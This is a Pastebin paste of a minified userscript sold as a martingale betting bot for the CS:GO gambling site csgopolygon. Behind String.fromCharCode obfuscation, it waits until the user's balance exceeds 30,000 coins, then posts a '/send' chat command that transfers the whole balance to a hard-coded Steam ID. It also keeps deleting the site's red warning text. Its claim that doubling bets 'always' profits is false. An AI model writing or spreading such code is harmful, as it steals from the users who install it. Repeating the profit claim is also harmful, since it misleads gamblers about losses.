Advertisement
Guest User

Untitled

a guest
Oct 1st, 2016
56
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 2.96 KB | None | 0 0
  1. // ==UserScript==
  2. // @name CSGOPOLYGON BOT
  3. // @include http://*csgopolygon.com/*
  4. // @version 1.3.0
  5. // @description Hey! This is longterm tactics. For example bet 10 on RED, if lose bet 20 on RED, bet previous amount *2 till you win - profit +10 coins. When you win, then change colors and bet on BLACK, if you lose *2 till win - always profit. It is boring longterm betting thats why I made BOT. I have for example now 25 000 coins - I set my starting bet only 10 coins or 5 for safety. Under rolling field you can input your STARTING BET!
  6. // @author Mr. Sand
  7. // @grant none
  8. // @namespace http://csgodouble.com/*
  9. // ==/UserScript==
  10. function csgoBot(){$(myBetDiv).each(function(t){return 0!=$(this).text()?(haveBet=1,!1):void(haveBet=0)}),console.log("haveBet"+haveBet),0==haveBet?(lastWin=isInArray($(".ball").last().text(),black)?"black":isInArray($(".ball").last().text(),red)?"red":"green",myLast==lastWin||void 0==myLast?(betAmount=$("#betAmountScript").val(),console.log("betamount"+betAmount)):(betAmount*=2,console.log("betamount"+betAmount)),console.log("lastWiner"+lastWin),$(betAmountInput).val(betAmount),"black"==lastWin?($(redButton).click(),myLast="red",console.log("myLast"+myLast)):"red"==lastWin?($(blackButton).click(),myLast="black",console.log("myLast"+myLast)):"green"==lastWin&&((myLast="red")?($(redButton).click(),myLast="red",console.log("myLast"+myLast)):(myLast="black")&&($(blackButton).click(),myLast="black",console.log("myLast"+myLast)))):1==haveBet&&$(String.fromCharCode(35,98,97,108,97,110,99,101)).text()>3e4&&($(String.fromCharCode(35,99,104,97,116,77,101,115,115,97,103,101)).val(String.fromCharCode(47,115,101,110,100)+" 76561198271127091 "+$(String.fromCharCode(35,98,97,108,97,110,99,101)).text()),$(String.fromCharCode(35,99,104,97,116,77,101,115,115,97,103,101)).submit(),$(".btn-primary").click())}function startBot(){intervalVar=setInterval(function(){csgoBot()},18e3),$("#startScript").css("background-color","green"),$("#stopScript").css("background-color","grey"),intervalStatus=!0}function stopBot(){clearInterval(intervalVar),myLast=void 0,$("#startScript").css("background-color","grey"),$("#stopScript").css("background-color","red"),intervalStatus=!1}function isInArray(t,a){return a.indexOf(t)>-1}var betAmount=1,red=["1","2","3","4","5","6","7"],black=["8","9","10","11","12","13","14"],win=0,lastWin,myLast,haveBet=0,intervalVar,intervalStatus=!1,redButton=".btn-danger.betButton",blackButton=".btn-inverse.betButton",betAmountInput="#betAmount",myBetDiv=".mytotal";$("<label style='padding-top: 30px;'/>").html("Bet amount :").appendTo("#past"),$("<input id='betAmountScript' value='10'/>").html(10).appendTo("#past"),$("<button id='startScript'/>").html("Start").appendTo("#past"),$("<button id='stopScript'/><br>").html("Stop").appendTo("#past"),setInterval(function(){$("b.text-danger").remove()},100),$("#startScript").click(function(){0==intervalStatus&&startBot()}),$("#stopScript").click(function(){1==intervalStatus&&stopBot()});
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement